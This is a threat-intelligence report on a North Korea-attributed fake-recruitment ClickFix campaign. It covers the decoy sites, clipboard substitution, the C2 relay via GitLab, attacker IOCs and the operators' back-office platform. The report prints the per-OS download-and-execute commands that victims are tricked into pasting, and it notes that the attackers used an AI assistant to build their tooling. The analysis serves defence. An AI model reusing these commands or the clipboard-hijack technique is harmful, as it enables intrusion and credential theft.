Mastodon

TL;DR

Stormshield's Cyber Threat Intelligence team has uncovered the Trigram campaign, targeting the AI, blockchain, and logistics sectors across Europe and the United States.

  • The Bait: Threat actors impersonate 50 companies using fake job offers, invitations, and package tracking notifications to deliver an infostealer to victims.
  • Behind the Scenes: A dedicated platform enables the attackers to track the entire operation end-to-end, from the initial click to credential theft.

By correlating this data with research from Proofpoint, SafeDep and Genians, Stormshield attributes this campaign with high confidence to North Korea, as a continuation of the UNK_DeadDrop cluster and the Kimsuky group (APT-43).

Preamble

An Already-Partially Documented Threat

Since 2022, actors whose TTPs are consistent with those of North Korea have persistently targeted developers in the cryptocurrency ecosystem. The modus operandi remains largely the same: fake recruiters, fake technical interviews, or fake coding exercises trick the victim into executing a malicious payload themselves. The most well-known campaign, Contagious Interview, reportedly compromised at least 30,000 devices across more than 100 countries, according to an alert published in September 2026.

Several recent publications describe details associated with the campaign under study:

  • Proofpoint has been tracking, since April 2026 under the name UNK_DeadDrop, a cluster highly likely to be North Korean, which lures developers with email-based job offers directing them to trojanized code repositories [1];
  • SafeDep documented on November 3, 2026, the compromise of the open-source repository antd-img-crop, which distributed an infostealer dubbed OverLord by its authors [2];
  • Genians published in August 2026 an analysis attributing to Kimsuky an operation leveraging AI and Git repositories as its command infrastructure [3].

What's New in This Article

This analysis brings three new elements:

  1. A description of the operators' back office. As far as we know, this is the first public description of the operational tooling behind a campaign of this kind: the management platform, victim-tracking consoles, and email-delivery infrastructure.
  2. Correlating separately published research. Trigram's infrastructure links the activities described by Proofpoint, SafeDep, and Genians.
  3. Observation of a live infrastructure. A C2 rotation was observed during the analysis, and the scale of the campaign could be quantified (approximately 50 impersonated brands).

Initial Access Phase

Initial Contact with the Victim

The attack begins with an email advertising a job opportunity. The sender poses as a recruiter, offering a fully remote software development position. To get the victim's interest, the email notably emphasizes a substantial annual salary.

The message is sufficiently detailed to appear as legitimate. It also includes a link to a website where the job posting can be reviewed and an application submitted, along with a referral code to enter upon registration.

The objective is to lead the victim to click the link and proceed through the recruitment process without looking suspicious.

Visual Looking

The picture below is an example of a mail used for this initial contact.

Figure 1: Example of a mail used for the attack's initial phase.

Decoy Analysis

The website presents itself as a recruitment platform where visitors can view a job listing and submit an application directly online.

At first glance, the site mirrors the standard elements of a recruitment platform:

  • a company overview,
  • a description of the open position,
  • a form for candidates to submit their details.

The process is relatively straightforward and unfolds in several steps:

  • Company and job overview: The site describes the company's business and presents the open position, including key responsibilities and salaries.
  • Application submission: The candidate is prompted to fill out a form requesting various details, including their name, email address, the position looked, a link to their portfolio, and a personal statement.
  • Spam verification: Once the form is submitted, the visitor is redirected to a new page asking them to complete a verification step to confirm they are not a robot.
  • Confirmation: The process concludes with a page indicating that the application has been successfully received.

The entire experience is designed to give a sense of coherence and legitimacy. The site handles field validation, the sequencing of the various steps, and the display of confirmation messages.

It is, however, during the spam verification stage that the site's behavior becomes suspicious. Presented as a routine validation step, this procedure actually prompts the candidate to copy and execute a command directly on their machine.

Environment Identification

Upon page load, a script embedded in the web page determines the visitor's environment, in particular through the User-Agent string. This influences navigation within the site and provides the attackers with information about authorized visitors.

Visitor Filtering

The script identifies the operating system and only targets Windows, macOS, and Linux. It also checks for the presence of the cn_ip_restricted cookie, set by the server, and reads its value. If the cookie exists with a value of 1, or if the operating system is not among the targeted platforms, navigation within the site is disabled and the user is effectively blocked. These checks are performed entirely within the browser and do not trigger any data transmission.

Visitor Data Collection

For visitors who pass the filter, the script extracts the following information from the browser's User-Agent string:

  • the operating system,
  • the browser and its version,
  • the device type, which in practice resolves to desktop, as mobile devices have already been filtered out.
IP-Based Access Restriction

The cn_ip_restricted=1 cookie suggests that the site employs an IP-based access restriction mechanism tied to the visitor's IP address. The cn prefix may refer to China, but this interpretation remains unconfirmed.

This restriction mechanism relies in part on the following JavaScript code:

function d() {
    return /(?:^|;\s*)cn_ip_restricted=1(?:;|$)/.test(document.cookie)
}

When this cookie is present, the site displays a limited version of the home page. The buttons and links are disabled and the normal initialization processus is interrupted. The page remains reachable, but any interaction with it is now impossible, as shown in the following code:

async function Vt() {
    let e = document.querySelector(`#app`);
    if (!e) return;
    let t = u(),
        n = d();                       // n = cookie cn_ip_restricted
    if (t || n) {
        document.body.className = `device-blocked-route`;
        document.title = `Unsupported Device | Lumenorbit`;
        e.innerHTML = t ? Tt(t) : Et();
        f(e);
        return
    }
    ...
}

Application Data Collection

The application form collects the following personal and professional information:

  • Full name
  • Email address
  • Position of interest
  • LinkedIn profile or portfolio
  • Personal statement

The data is then stored locally in the browser's localStorage under the key alb-application, and transmitted to the server via an HTTP POST request in JSON format to the /track-activity route. In case of failure, the script falls back to navigator.sendBeacon as a secondary delivery mechanism.

Fake Anti-Spam Checks

After completing the application form, the visitor is redirected to the /anti-spam path. This page presents itself as a verification step designed to filter out automated applications. This mechanism fits within the context of a campaign that appears to aim pre-identified targets rather than a broad audience. To proceed, the candidate must enter a referral code.

Referral Code Validation

When the applicants submit their referral code, the site sends them to the server via a POST request to /refcode/unlock in the following format:

{ "refCode": "CODE_SAISI" }

If the server accepts the code, it answers with a JSON payload containing the following fields:

  • refCode: The code confirmed by the server. The site populates it back into the input field, which then becomes read-only.
  • code: A value whose purpose is unknown on the client side. This data is stored in the browser's sessionStorage under the key alb_verify_draft.
  • jobTag: An optional field, used only for tracking purposes. When the code is accepted, the script sends a message to the server (/track-activity) to indicate that the code has been unlocked, attaching the jobTag value. It has no direct effect on the page.

If the code is rejected, the site displays one of the followin messages:

  • "Already used.": The code has already been used.
  • "Locked to another IP.": The code is bound to a different IP address.
  • "Invalid code.": Catch-all for all other cases, including network errors or incomplete server responses.

When the code is accepted, the site displays a confirmation message to the candidate. The illustration below shows an example. Its appearance may vary depending on the site.

Figure 2: Invitation Code.

Generation and Execution of the Malicious Command

Scenario

As soon as the sponsorship code is validated, the web page displays a random identifier (a nonce) and provides a command to be run. To allay the victim's suspicion, the web site presents this step as a simple verification test to prove that the user is not a robot.

The requested manipulation is straightforward:

  • Copy the command directly from the web site.
  • Open the terminal on the machine (PowerShell or Command Prompt on Windows, or the regular Terminal on macOS and Linux).
  • Paste and execute the command, which validates the trap and triggers the infection.

The screenshot below shows the instructions presented to a Linux user, along with the nonce and the command to be executed.

Figure 3: The nonce and the command to be executed.

The web page displays an explaination saying that this command allows the nonce to be signed from the Terminal and registered in the Committee's chain. This presentation gives the operation the appearence of a simple technical check.

An analysis of the command demonstrates that it only sends the nonce to the server via a POST request to /api/verify. It does not download any file nor execute any script on the victim's machine.

The web page then waits a confirmation from the server. It does this using a SSE (Server-Sent Events) connection, or, if that fails, by regularly sending requests to /api/verify/status. Once the nonce has been received, it deliberately displays the following error message: « Operation timeout. Please try again. Nonce Refreshed. ».

This error message is intentionally displayed and does not correspond to a real timeout. In reality, it marks the transition to a second phase of the attack. The web page keeps the same appearance, but the behavior of the copy button is now changed. the victim is therefore urged to repeat the verification without realizing that the machanism has changed.

Clipboard Substitution

The script alters the copy behavior and intercepts the two methodes used to retrieve the command :

  • When the victim clicks the « Copy » button, the script places the malicious command directly into the clipboard.
  • If the victim selects the text and use Ctrl+C, the script also intercepts this action and replaces the copied content with the malicious command.

The command displayed on the screen still contains the new nonce, but the one that ends up in the clipboard is different. It includes a trailing newline at its end, causing its execution immediately when pasted into a Terminal, without the victim having to press Enter.

Each copy is also reported to the server. The script sends a request to /refcode/cmd-copy and transmits a cmdline_copied event to /track-activity. This event includes, among other data, the operating system, the nonce, and a magic flag that indicates whether the malicious command has been copied. The attacker can therefore monitor the victim's actions.

Commands Executed According to the Operating System

The command is built based on the detected OS and the web page's address, here represented by <site>. It downloads a script from the domain of the fake recruitment web site and the executes it.

Windows Command
powershell -NoProfile -Command "$nonce=''; start -WindowStyle Hidden cmd '/c curl -ks https:///verify_w -o v.cmd&&v.cmd'; $d=('{\"nonce\":\"' + $nonce + '\"}')"
  1. PowerShell starts without switching profile (-NoProfile).
  2. It launches cmd in a hidden window.
  3. curl downloads the file verify_w from the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved as v.cmd in the current directory.
  4. Once the download finishes successfully, the file v.cmd is automatically executed by CMD.

 

Linux Command
bash -c 'nonce=""; setsid -f bash -c "curl -ks https:///verify_m -o u && exec bash u" >/dev/null 2>&1 </dev/null; jsd="{\"nonce\":\"$nonce\"}"'
  1. Bash is launched with setsid -f to run it in its own session, in the background, and without depending on a terminal. Its standard input, output and errors and discarded.
  2. curl download the file verify_w from the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved as u in the current directory.
  3. If the download succeeds, it executes the file with exec bash u.

 

macOS Command
bash -c 'nonce=""; perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https:///verify_m -o verify_m && exec bash verify_m" &>/dev/null& json="{\"nonce\":\"$nonce\"}"'`
  1. Perl performs a double fork and calls POSIX::setsid to detach the process from the terminal: the first fork allows setsid to create a new session, the second prevents the process from taking back a controlling terminal. Perl is used here likely because macOS does not provide a native setsid comand.
  2. curl downloads the file verify_w from the remote server, without verifying the TLS certificate (-k) and without any output displayed (-s). The file is saved as verify_m in the current directory.
  3. If the download succeeds, it executes the file with exec bash verify_m.

Across the three OS, the commands define at the end a variable that holds the nonce in JSON format ($d, jsd, json), but this variable is never used. We can suppose that this is an arrangement for these commands to look like the one shown to the user : the human eye notices more easily the changes at the beginning and the end of a block of text.

Summary of the Initial Access Phase

The initial access works with a fake recruitment campaign targeting developpers and using the ClickFix technique:

  • Filtering: Mobile users, unsupported systems and visitors flagged by the cn_ip_restricted cookie (which means subject to a restriction) are directed to an inactive page.
  • Trick: The victim fills out a job-application form and then passes though a fake anti-spam verification that requires a one-time referral code.
  • Substitution: After running an innocuous first command, the victim receives a fake error: « Operation timeout. Please try again. Nonce Refreshed. ». The web site then replaces the command in its clipboard with a second malicious command, without notifying the user.
  • Execution: The second command downloads a script from the remote server and silently runs it on the victim's machine.
  • Tracking: All stages of this process are reported back to the server via /track-activity.

Dropper Execution Phase

Operating Diagram

Summary

Analysis of the scripts highlights a single infection chain, adapted for three environments:

  • Linux
  • macOS
  • Windows

These scripts act as loaders: they prepare the execution environment, retrieve the necessary components, and launch a JavaScript payload, install_guard.js, fetched from a remote server.

The operation follows several common stages:

  • Background execution: The initial script launches a secondary process asynchronously, detaching it from the terminal.
  • Payload decoding: The first script extracts and decodes a second layer of code hidden in Base64.
  • Environment preparation: This second script configures its working directory, sets up a locking mechanism to prevent concurrent installations, and checks for an existing Node.js installation.
  • Node.js deployment: If no compatible version (v18 minimum) is available, the script downloads a portable version of Node.js v20.18.1, matched to the operating system and its architecture.
  • Payload retrieval: The script then downloads install_guard.js from the operator's infrastructure. The file must meet a minimum size of 50 KB to be considered valid before being executed with Node.js.

The Windows variant incorporates several specific mechanisms. It notably uses a VBScript to relaunch the CMD file asynchronously, as well as PowerShell to decode the Base64 payload. It also attempts to strip the Mark-of-the-Web (MOTW) attribute, removing Internet provenance information that could trigger security warnings or restrictions on Windows.

In conclusion, these droppers share a common architecture, tailored to the specifics of Windows, macOS, and Linux. They prepare the environment, download and execute a JavaScript component, while incorporating resumption mechanisms, process management, and communication with the attacker's infrastructure.

This component then deploys an infostealer tasked with collecting browser credentials, cryptocurrency wallets and sensitive files present on the machine. It also gathers system information and exfiltrates the collected data to the attacker. Finally, it deploys agents designed to maintain access to the machine. The infostealer's operation and the capabilities of these agents will be detailed in a follow-up article.

Infrastructure

Overview

The mapped infrastructure comprises approximately 200 IOCs, including:

  • URLs
  • IP
  • Domain names
  • Certificates
  • Email addresses

It is organized across three depth levels, from targets to operators (Figure 4):

Figure 4: Infrastructure architecture, from hooks to back-office operator.

Layer #1: Decoy. Fake recruitment sites, conference invitation pages, and package-tracking portals. This is the only surface visible to targets. These sites also distribute the Stage 2 scripts.

Layer #2: Command and Control (C2) servers. They host the JavaScript payload (install_guard.js) and receive installation telemetry. C2 addresses are never hardcoded in the code: they are retrieved via a GitLab repository acting as a relay, allowing the attackers to swap C2 infrastructure at any time.

Layer #3: Operator back office. Victim-tracking consoles and a campaign management platform (rms-platform). The latter centralizes target collection from GitHub, bulk email delivery, interaction tracking, and a cryptocurrency wallet management module.

These three levels rely on abused legitimate services: GitHub and GitLab for code and configuration hosting; Brevo, Resend, Mailgun, and Smartlead for email delivery; and FullStory for visitor session recording.

Two constants characterize all mapped elements:

  • Concentrated hosting with Advin Services. Domains are predominantly registered with Namecheap and use low-cost TLDs (.xyz, .ink, .site, .space, .online). This pattern is not unique to this campaign. Proofpoint had already noted in April 2026 the use of Advin addresses as sending servers by the UNK_DeadDrop cluster [1], and SafeDep located the third-stage servers of the antd-img-crop compromise on the same hoster [2].
  • Artifacts consistent with AI-assisted development. The platform's internal documentation (described bellow) contains passages that are clearly copied from a conversational AI assistant, including a response that ends by prompting the user to provide "their domain name." The configuration also references a Gemini API key. The code exhibits a homogeneous, heavily commented style characteristic of generative tools. These elements do not allow determining the extent of AI reliance, but they are consistent with AI-assisted development.

Layer #1: Decoys

The decoys constitute the only surface directly exposed to targets. They support the social engineering scenarios described in the Initial Access phase, from the lure email to the execution of the malicious command. They also distribute the Stage 2 scripts (verify_w for Windows, verify_m for Linux and macOS).

The mapping reveals three distinct scenarios: recruitment, conference invitation, and package tracking. They share a common technical foundation: the target enters a verification code, then pastes the site-generated command into their terminal.

Scenario 1: Recruitment in the Web3, AI, and Tech Sectors

This scenario is the most prevalent in the corpus. The sites impersonate blockchain, artificial intelligence, and software development companies, presenting a job opening. The impersonation is double: it targets both the domain name and the visual identity, which is replicated identically.

The domain names follow recurring patterns, combining the impersonated brand name with a term evoking recruitment or community:

Scheme
Spoofed Domain Examples
*council
fuelcouncil[.]ink
mantle2council[.]xyz
*hires
*careers
*talents
mantlehires[.]xyz
lineacareers[.]xyz
ritualtalents[.]xyz
buildwith*
buildwithritual[.]xyz
buildwithmina[.]ink
inv2*
inv2boyaa[.]site
inv2initia[.]ink
join*
joinwebflow[.]xyz
joinmetis[.]site

Below is a visual comparison between the official sites and the phishing sites:

Legitimate Website: somnia.network


Phishing Website: somniabuilders[.]network


Legitimate Website: ritual.net


Phishing Website: buildwithritual[.]xyz


Legitimate Website: webflow.com

Phishing Website: joinwebflow[.]xyz

And this is only the beginning of a long list. In total, approximately 50 brands are impersonated. SafeDep documented another recruitment portal, under the name of Amber Group, hosted on the same infrastructure [2]. Proofpoint had already described comparable impersonations in May 2026, including that of a recruitment agency specializing in Web3 and AI [1].

Scenario 2: Invitation to the ICAGLLMBT Conference

One site stands out in the corpus: an invitation to the International Conference on Advances in Generative AI, Large Language Models and Blockchain Technology (ICAGLLMBT). The title is genuine. It refers to a series of conferences announced in multiple cities and dates. The domain icagllmbt[.]space mirrors it to lend credibility to the invitation, which advertises a Tokyo edition on July 7-8, 2027.

Figure 5: "Login" page on the conference website.

The TTPs align with those of the recruitment scenario. After a registration form, the target arrives at an information collection page and is prompted to complete a verification that leads to self-infection (Figure 6).

The site's JavaScript code also contained a debug invitation code that allowed direct access to this page, bypassing the intermediate steps:

Figure 6: Conference Register Form.

This scenario presents a particularity: it does not rely solely on the attackers' own email campaigns. The form offers the target, if unable to attend the event, the option to designate a substitute. It also generates a ticket and an access code to be forwarded (Figure 7). The target thus becomes a dissemination vector within their own professional network, expanding the campaign's reach beyond the attackers' original recipient list.

Figure 7: Ticket and Access Token to Share.

The domain icagllmbt[.]space is not limited to this decoy role. SafeDep documented its use as a Stage 2 server in the compromise chain of the GitHub repository antd-img-crop, a component downloaded approximately 98,000 times per week on npm [2]. A malicious commit, pushed on October 31, 2026, added a script executed at build time that downloaded verify_m or verify_w from this domain. A single domain thus simultaneously serves as both a social engineering decoy and a distribution point for a software supply-chain attack.

Scenario 3: Delivery Tracking

This scenario exploits the logistics theme. The decoys replicate the tracking interfaces of three carriers: DHL (Germany), DPD (Geopost Group, France), and Aramex (United Arab Emirates) (Figure 8).

As with the loadshipdpd[.]ink domain presented below, the domains mapped on the same infrastructure (193.160.32[.]10, listed in the table below, Figure 8) and associated with this "package tracking" cluster were observed on the server for a very brief period, between October 8 and 10, 2026.

Figure 8: Decoy Page "Delivery Tracking".


Domains Resolution on 08-10-2028 to 193.160.31.10
DHL
DPD
ARAMEX
waybilltrack[.]xyz
loadwatcherdpd[.]ink
tracearamex[.]ink
freightviewer[.]ink
loadtracedpd[.]xyz
trackaramex[.]xyz
tracedhl[.]xyz
loadshipdpd[.]ink
parcelaramex[.]ink
shipdhl[.]xyz
loadwadpd[.]xyz
parcelaramex[.]ink
loadtrace[.]delivery
loadwatchdpd[.]ink
tracearamex[.]ink
freightracker[.]ink
tracedpd[.]xyz
loadshiparamex[.]ink
shiptrace[.]delivery

loadwatcharamex[.]xyz
transitwatch[.]ink

shiparamex[.]xyz
loadwatchdhl[.]xyz

parcelaramex[.]xyz
shiptransit[.]ink


What link the three scenarios

Put together, all those technical elements link those scenarios to a common infrastructure:

Element
Recruitment
Conference
Delivery
Hosted on 193.160.32[.]10
✓
✓
✓
Scripts verify_w and verify_m
✓
✓
✓
ClickFix Command generated after a code input
✓
✓
✓
Potential Endpoint in rms-platform
api/refcode/
api/refcode/
api/waybill/

Therefore we estimate with a high confidence that those three scenarios originate from the same operator and share a common technical platform.

Layer #2: Command & Control Servers (C2)

A Multi-Layer Infrastructure

Once the ClickFix command is executed, the Stage 2 script (verify_w or verify_m, depending on the victim's OS), downloaded from the decoy domain, deploys a Node.js environment and then retrieves the install_guard.js JavaScript payload (see the dropper execution phase). This payload does not embed its Command and Control (C2) server address; instead, it defines the address of a configuration file hosted on a public GitLab repository, which acts as a relay (dead drop resolver).

This architecture distinguishes three roles:

  • Distribution servers, which host install_guard.js and receive installation telemetry;
  • The GitLab relay, which points to the current C2 address;
  • The C2 server proper, with which the payload communicates once installed.

Operators can thus swap the C2 server by modifying a single file on GitLab, without redeploying code to victims or altering their decoys.

Chain observed on 4 nov. 2026:

A Rotation Observed Under Analysis

The GitLab relay is not permanent. On October 31, 2026, SafeDep reported a relay hosted on the repository gitlab[.]com/drop-indexings/tasks. A few days later, the payload was querying another repository of the same structure, gitlab[.]com/up-indexings/tasks. The latter had been created on November 3, 2026, at 03:05 UTC, the day before our observation. The config.json file it contains was uploaded by an account using the username 0xapp123.

Date (UTC)
GitLab Relays
C2 Linked
Source
31 oct. 2026
drop-indexings/tasks
api.chestsoi[.]ink
SafeDep
3 nov. 2026, 03:05
creation of up-indexings/tasks
-
GitLab
4 nov. 2026
up-indexings/tasks
api.cerysoi[.]ink
Stormshield

The repository name (tasks) and the path structure are preserved from one generation to the next; only the account changes (*-indexings). This pattern constitutes an exploitable detection indicator.

Our investigations have enabled us to identify four domains that serve as distribution or C2 functions: api.gaganata[.]ink, api.fallgganata[.]ink, gamsterb[.]ink and api.cerysoi[.]ink.

A Resilient Infrastructure

Paired naming. fallgganata is most likely a fallback server for gaganata, as confirmed by SafeDep's analysis. Similarly, cerysoi shares its suffix with chestsoi[.]ink, another domain identified by SafeDep. These pairs suggest batch generation of names.

Overlap with the back office. The subdomain dashboard.gaganata[.]ink appears in the configuration of the operator administration platform (see Layer #3). The same domain thus serves both as a payload distribution point and for campaign management.

Layer #3: Operators Back-End

Principle

The third level regroups the campaign's operational tooling. It includes victim-tracking consoles, exposed across multiple domains, and a campaign management platform dubbed rms-platform by its operators. This analysis goes beyond the infection chain alone: it reveals how operators select their targets, write to them, track their progress, and exploit the data collected.

Administration Consoles hidden into Decoys

The tracking consoles are not standalone applications: they are delivered within the same JavaScript code as the decoys. The same bundle is served to all visitors, and a check on the hostname or URL path determines which interface is displayed:

< script >
  ;(function () {
    var host = window.location.hostname || ''
    var path = window.location.pathname || ''
    var isValidator =
      host.indexOf('validator.') === 0 ||
      host === 'subnet.dokamacto.xyz' ||
      path.indexOf('/ops-7f3k9m') === 0
    if (!isValidator) {
      document.title = 'AAV Career: Hiring'
    }
  })()
</ script >

At the root of subnet.dokamacto[.]xyz, a visitor sees a recruitment decoy ("AAV Career") displaying an eligibility error (Figure [n]). Under the /ops-7f3k9m path, this same domain displays the operator console. This design choice has a major implication: every decoy visitor unknowingly receives the full console code. This is what made it possible to rebuild its functionality.

http://subnet.dokamacto[.]xyz/ops-7f3k9m

http://subnet.dokamacto[.]xyz

The platform configuration (see below) lists the domains and addresses authorized to host these consoles:

CSRF_TRUSTED_ORIGINS [
    'https://dashboard.asteara.org',
    'http://dashboard.asteara.org',
    'https://dashboard.cklomino.ink',
    'http://dashboard.cklomino.ink',
    'https://almanac.3dscenebox.online',
    'http://almanac.3dscenebox.online',
    'https://dashboard.gaganata. ink',
    'http://dashboard.gaganata.ink',
    'https://online.dokamacto.xyz',
    'http://online.dokamacto.xyz'
]

 

ALLOWED_HOSTS [
    '170.205.29.83',
    '146.19.215.187',
    '185.147.159.187',
    '170.205.30.27',
    'dashboard.asteara.org',
    'dashboard.cklomino.ink',
    'almanac.3dscenebox.online',
    'dashboard.gaganata.ink',
    'online.dokamacto.xyz',
    'localhost',
    '127.0.0.1'
]

Two of these hosts are already known:

  • The domain asteara[.]org is among the infrastructure attributed by Proofpoint to the UNK_DeadDrop cluster as early as April 2026 [1].
  • The IP address 170.205.29[.]83 was used by the same cluster for its phishing email delivery [1] and appears among the C2 servers listed by Genians [3]. The back office described here thus relies, at least in part, on infrastructure running since six months.

A Victims-Tracker Step-by-Step

The console code precisely describes the steps the operator follows for each victim. Each corresponds to an event reported by the decoy or the malicious payload:

#
Operation Code
Displayed Label
Infection Chain Matching Step
1
copiedCmdline
Copied CMD
The victim copied the malicious command
2
installerDownloadStarted
Reg installer
Second step script download
3
launcherOk
Launcher OK
Dropper execution succeeded
4
launcherResultReported
Launcher reported
Installation log report
5
clickedCheckNow
Check Now
Interaction with "Checking" interface
6
deviceRegistered
Guard ran
Execution of install_guard.js
7
deviceCheckPassed
Device OK
Device checking by the payload
8
faceVerificationPassed
Face OK
« face verication» check [hypothesis : anti-deepfake narrative]
9
passwordSaved
Password
System password retrieved

The last two steps clarify the ultimate purpose of the operation. The "facial verification" most likely extends the payload's narrative, which presents itself as a deepfake protection (deepfake_guard). Password retrieval matches the behavior documented by SafeDep: on macOS and Linux, the payload displays a fake system window prompting for the user's password, then uses it to unlock stored secrets and install itself with elevated privileges.

The console also provides several operational functions:

  • Decoy monitoring. Each decoy domain managed by the console is tested every 30 seconds via a request to the /verify_w or /verify_m paths. Operators can thus immediately detect a decoy that has been taken down.
  • Performance metrics. Over 24-hour windows, the console compares successful installations to "real visitors." Bots and blocked IP addresses are tracked separately, and the latter can be managed directly from the interface.
  • Target scoring. Each target is rated "important," "moderate," or "useless," suggesting triage of victims based on their value.
  • Session recording. The decoys integrate the FullStory behavioral analytics service (organization o-23XVR6-na1), which allows replaying each visitor's navigation.
window['_fs_host'] = 'fullstory.com'
window['_fs_script'] = 'edge.fullstory.com/s/fs.js'
window['_fs_org'] = 'o-23XVR6-na1'
window['_fs_namespace'] = 'FS'

The operator thus has real-time visibility into each victim, from copying the command to retrieving their password.

Focus on rms-platform: A Campaign Management Platform (Level 3)

Presentation

The console infrastructure led to a web service exposed on port 8000 at 170.205.30[.]27. This service, a Django application, was displaying a detailed error page, as debug mode remained enabled. The page leaked the application's route list (Figure 9), the path to its source code (/root/rms-platform/), and the names of configuration variables. Sensitive values were masked by Django.

Figure 9: Routes API de RMS.

These elements describe a platform that covers the full campaign lifecycle:

Feature
Observed Elements
Interpretation
Confidence Level
Targeting
Paths github_users/, github-stats/, github-jobs-check/ ; keys ScraperAPI ; jetons GITHUB_TOKEN_CG, _CMC, _CONTRIB ; documentation « Logic for Scraping GitHub Users »
Target list generation from GitHub
High
Sending
Keys Resend, Brevo, Mailgun, Smartlead ; Random sending limit and delay
Bulk email delivery distributed across multiple providers
High
Mail Following
Pixel api/t/o.gif, webhooks Resend et Mailgun, routes inbox/, auto-reply/, email-blacklist/
Open tracking, reply and unsubscribe management
High
Decoy Management
Pathsapi/refcode/, api/waybill/ and their job-tags/
Access code issuance and tracking, per target and per offer
High
Data Exploitation
Pathsapi/db/tables/, .../export/ ; external MongoDB base
Viewing and export of collected data
High
Wallets
Paths api/admin/wallets/ (preview, refresh, claim, claim-all) ; keys Etherscan, Basescan, Polygonscan, Solscan, Tronscan
Cryptocurrency wallet monitoring across five networks, potentially including fund transfers
Low to Moderate

The complete set of configuration constants in use is also listed by the debug mode. Below is an organized selection of the latter:

RESEND
BREVO
MAILGUN
SMARTLEAD
EXPLORER BLOCKCHAIN
IA
SCRAPER
GITHUB
LOGIQUE INTERNE
UNIDENTIFIED
ALB_RESEND_KEY
ALE_RESEND_KEY
AMB_RESEND_KEY
ANI_RESEND_KEY
APEX_RESEND_KEY
AVA_RESEND_KEY
AXE_RESEND_KEY
AZT_RESEND_KEY
BER_RESEND_KEY
BIT_RESEND_KEY
BOY_RESEND_KEY
BULL_RESEND_KEY
CEL_RESEND_KEY
DIL_RESEND_KEY
DYM_RESEND_KEY
EARN_RESEND_KEY
EIG_RESEND_KEY
ESP_RESEND_KEY
FOURTH_RESEND_API_KEYFUEL_RESEND_KEY
INI_RESEND_KEY
KAI_RESEND_KEY
LAD_RESEND_KEY
GRO_RESEND_KEY
HYP_RESEND_KEYLIN_RESEND_KEY
LUM_RESEND_KEY
MAN_RESEND_KEY
MOV_RESEND_KEY
NAD_RESEND_KEY
NEW_RESEND_API_KEY
MER_RESEND_KEY
MET_RESEND_KEY
MINA_RESEND_KEY
MOT_RESEND_KEY
GEO_RESEND_KEY
NIL_RESEND_KEY
PIX_RESEND_KEY
OCHO_RESEND_KEY
PAN_RESEND_KEY
RIT_RESEND_KEY
SAGA_RESEND_KEY
OSL_RESEND_KEY
SCR_RESEND_KEY
SON_RESEND_KEY
SUC_RESEND_KEY
SURG_RESEND_KEY
SWA_RESEND_KEY
SEI_RESEND_KEY
TAI_RESEND_KEY
TER_RESEND_KEY
THIRD_RESEND_API_KEY
TUR_RESEND_KEY
VER_RESEND_KEY
WEB_RESEND_KEYRESEND_API_KEY
RESEND_DISABLE_WEBHOOK
RESEND_WEBHOOK_SECRET
RESEND_WEBHOOK_SECRETS
RESEND_WEBHOOK_URL
BOY_BREVO_KEY
ESP_BREVO_KEY
FUEL_BREVO_KEY
GRO_BREVO_KEY
INI_BREVO_KEY
MER_BREVO_KEY
MET_BREVO_KEY
MINA_BREVO_KEY
MOT_BREVO_KEY
MOV_BREVO_KEY
NIL_BREVO_KEY
OSL_BREVO_KEY
SEI_BREVO_KEY
MAILGUN_STATS_INTERVAL_SECONDS
SMARTLEAD_API_KEY
SMARTLEAD_BASE_URL
SMARTLEAD_CAMPAIGN_ID
BASESCAN_API_KEY
ETHERSCAN_API_KEY
POLYGONSCAN_API_KEY
SOLSCAN_API_KEY
TRONSCAN_API_KEY
GEMINI_API_KEY
SCRAPERAPI_API_KEY
GH_BACKUP_REPO = "alexlopez-g/rms-platform"
GITHUB_ETHEREUM_TOKEN
GITHUB_TOKEN
GITHUB_TOKEN_CG
GITHUB_TOKEN_CMC
GITHUB_TOKEN_CONTRIB
CSV_EMAIL_LIMIT
CSV_EMAIL_LIMIT_TWO
CSV_EMAIL_LIMIT_THREE
DAILY_EMAIL_LIMIT
DESIGN_EMAIL_LIMIT
OFFER_JOB_ACTIVE_DAYS
OFFER_JOB_CROSS_COOLDOWN_DAYS
OPEN_PIXEL_URL
SEND_CYCLE_DELAY_JITTER_S
SEND_CYCLE_DELAY_MIN_S
SLACK_TOKEN_1
SLACK_TOKEN_2
TELEGRAM_API_HASH
TELEGRAM_API_ID
TELEGRAM_BOT_TOKEN
TELEGRAM_USER
CG_API_KEY

Targeting

Several elements suggest an automated target collection from GitHub: the platform documentation describes, step by step, the extraction of profiles via the GitHub API, and GitHub-related constants were identified in the RMS configuration. This hypothesis is consistent with the observed targeting: Web3 ecosystem developers contacted in the name of blockchain projects.

Figure 10: Section "Logic for Scraping GitHub Users" from Attackers Documentation.

Delivery

The platform distributes its email volume across four sending providers: Resend, Brevo, Mailgun, and Smartlead. It relies on more than 50 Resend API keys, 13 Brevo keys, and 3 Smartlead keys, each associated with an impersonated brand. Several parameters aim to stay below spam detection thresholds: daily volume caps, random delays between sending cycles, offer validity periods, and a minimum cooldown before presenting a new offer to the same target.

The internal documentation related to the attackers' email sending (Figure 10) also reveals the IP address 198.54.127[.]82.

Figure 11: Mail Sending Configuration Section from Attackers Documentation.

Decoy Tracking and Management

The referral codes described in the Initial Access phase are issued and validated by the operator back-office platform, as are package-tracking codes (waybills). Each code is associated with an offer (job-tags) and, based on the decoys' error messages, an IP address. A tracking pixel and webhooks round out the system by measuring email opens and incoming replies.

Cryptocurrency Wallets

The function of this module could not be established with certainty. Several elements suggest it is used to monitor cryptocurrency wallets and transfer their contents. We also observed that they possess explorer API keys covering five blockchain networks: Basescan, Etherscan, Polygonscan, Solscan, and Tronscan.

We retain this hypothesis with low to moderate confidence. If confirmed, it would place the financial objective at the center of the campaign. Further details will follow in the next article.

AI-Assisted Development

The documentation served by the platform (route guide/) contains passages that appear to be directly taken from an exchange with a conversational AI assistant (hypothesis based on the presence of emojis, em dashes, and conversational markers such as "just let me know your domain name"). One of them, dedicated to bypassing Gmail blocks, concludes with an offer of further assistance to the user, typical of this type of tool. The configuration also references the use of a Gemini API key (see the table of constants identified in the "Resource Management System" configuration).

Figure 12: Mail Sending Configuration Section from Attackers Documentation.

An Industrialized Campaign: Approximately 50 Impersonated Brands

The configuration variables follow a systematic naming convention: a three- or four-letter prefix, followed by the provider name (e.g., MINA_RESEND_KEY, MINA_BREVO_KEY). These prefixes denote the impersonated brands. They appear in:

  • the decoy domain names,
  • a directory exposed on 193.160.32[.]10 (port 8080), containing the visual assets for each decoy page,
